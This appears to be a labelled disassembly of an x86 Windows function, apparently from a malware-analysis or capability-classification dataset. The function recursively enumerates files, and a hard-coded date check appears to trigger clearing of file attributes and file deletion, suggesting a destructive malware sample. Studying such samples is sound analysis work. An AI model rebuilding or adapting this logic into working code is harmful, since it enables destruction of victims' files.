Function at 0x404778
Capabilities:
Enumerate files on windows
Enumerate files recursively
Get common file path
Set current directory

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x50
push 0
push 0
dec ecx
jne 0x404780
mov byte [ebp - 2], dl
mov byte [ebp - 1], al
xor eax, eax
push ebp
push 0x404b14
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x254]
push eax
push 0xff
call sub.kernel32.dll_GetCurrentDirectoryA_1
lea eax, [ebp - 0x258]
lea edx, [ebp - 0x254]
mov ecx, pe_nt_image_headers32
call fcn.004034b0
mov eax, dword [ebp - 0x258]
push eax
lea eax, [ebp - 0x25c]
mov edx, 0x408884
mov ecx, pe_nt_image_headers32
call fcn.004034b0
mov eax, dword [ebp - 0x25c]
pop edx
call fcn.004037b0
test eax, eax
jne 0x404ae9
lea eax, [ebp - 0x154]
push eax
push 0x404b20
call sub.kernel32.dll_FindFirstFileA
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10]
call fcn.00403344
test byte [ebp - 0x154], 0x10
jne 0x404a3b
cmp byte [ebp - 1], 0
jne 0x404828
push 1
call sub.kernel32.dll_Sleep
mov eax, 0x4107cc
lea edx, [ebp - 0x254]
mov ecx, pe_nt_image_headers32
call fcn.004034b0
mov eax, dword [0x4107cc]
call fcn.004034c8
mov edx, dword [0x4107cc]
cmp byte [edx + eax - 1], 0x5c
je 0x404863
mov eax, 0x4107cc
mov edx, 0x404b2c
call fcn.004034d0
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x128]
mov ecx, 0x104
call fcn.004034b0
mov edx, dword [ebp - 0x260]
mov eax, 0x4107cc
call fcn.004034d0
lea eax, [ebp - 0x264]
lea edx, [ebp - 0x128]
mov ecx, 0x104
call fcn.004034b0
mov eax, dword [ebp - 0x264]
lea edx, [ebp - 0x14]
call fcn.004040f4
call fcn.00404748
cmp word [0x4107e0], 0x7d9
jne 0x4048d9
cmp word [0x4107de], 0xc
jne 0x40497f
cmp word [0x4107dc], 0x1c
jbe 0x40497f
cmp byte [ebp - 2], 0
jne 0x40497f
lea edx, [ebp - 0x268]
mov eax, 0x404b38
call fcn.004041ac
mov edx, dword [ebp - 0x268]
mov eax, dword [ebp - 0x14]
call fcn.004037b0
test eax, eax
jne 0x40497f
push 0x8000
call sub.kernel32.dll_SetErrorMode
mov word [ebp - 0xa], ax
xor eax, eax
push ebp
push 0x40496e
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x80
mov eax, dword [0x4107cc]
call fcn.004036c8
push eax
call sub.kernel32.dll_SetFileAttributesA
push 0x1000
push 0x4107f8
mov eax, dword [0x4107cc]
call fcn.004036c8
push eax
call sub.kernel32.dll_OpenFile
mov dword [0x4107f4], eax
mov eax, dword [0x4107f4]
push eax
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404975
ret
mov eax, dword [ebp - 0x14]
call fcn.004034c8
cmp eax, 3
jne 0x404aae
lea edx, [ebp - 0x26c]
mov eax, 0x404b68
call fcn.004041ac
mov edx, dword [ebp - 0x26c]
mov eax, dword [ebp - 0x14]
call fcn.004037b0
test eax, eax
jle 0x404aae
lea eax, [ebp - 0x270]
lea edx, [ebp - 0x128]
mov ecx, 0x104
call fcn.004034b0
mov eax, dword [ebp - 0x270]
push eax
lea edx, [ebp - 0x274]
xor eax, eax
call fcn.004027f8
mov edx, dword [ebp - 0x274]
pop eax
call fcn.00403614
je 0x404aae
lea eax, [ebp - 0x278]
lea edx, [ebp - 0x128]
mov ecx, 0x104
call fcn.004034b0
mov eax, dword [ebp - 0x278]
mov edx, dword [ebp - 0x10]
call fcn.00403614
je 0x404aae
mov al, byte [0x4107e8]
or al, byte [0x4107e9]
je 0x404aae
xor edx, edx
mov eax, dword [0x4107cc]
call fcn.004043b0
jmp 0x404aae
lea eax, [ebp - 0x27c]
lea edx, [ebp - 0x128]
mov ecx, 0x104
call fcn.004034b0
mov eax, dword [ebp - 0x27c]
mov edx, 0x404b84
call fcn.00403614
je 0x404aae
lea eax, [ebp - 0x280]
lea edx, [ebp - 0x128]
mov ecx, 0x104
call fcn.004034b0
mov eax, dword [ebp - 0x280]
mov edx, 0x404b90
call fcn.00403614
je 0x404aae
lea eax, [ebp - 0x128]
push eax
call sub.kernel32.dll_SetCurrentDirectoryA_1
mov dl, byte [ebp - 2]
mov al, byte [ebp - 1]
call fcn.00404778
lea eax, [ebp - 0x254]
push eax
call sub.kernel32.dll_SetCurrentDirectoryA_1
lea eax, [ebp - 0x10]
lea edx, [ebp - 0x128]
mov ecx, 0x104
call fcn.004034b0
push 1
call sub.kernel32.dll_Sleep
lea eax, [ebp - 0x154]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_FindNextFileA
test eax, eax
jne 0x40480e
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_FindClose
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404b1b
lea eax, [ebp - 0x280]
mov edx, 0xb
call fcn.00403368
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.00403368
ret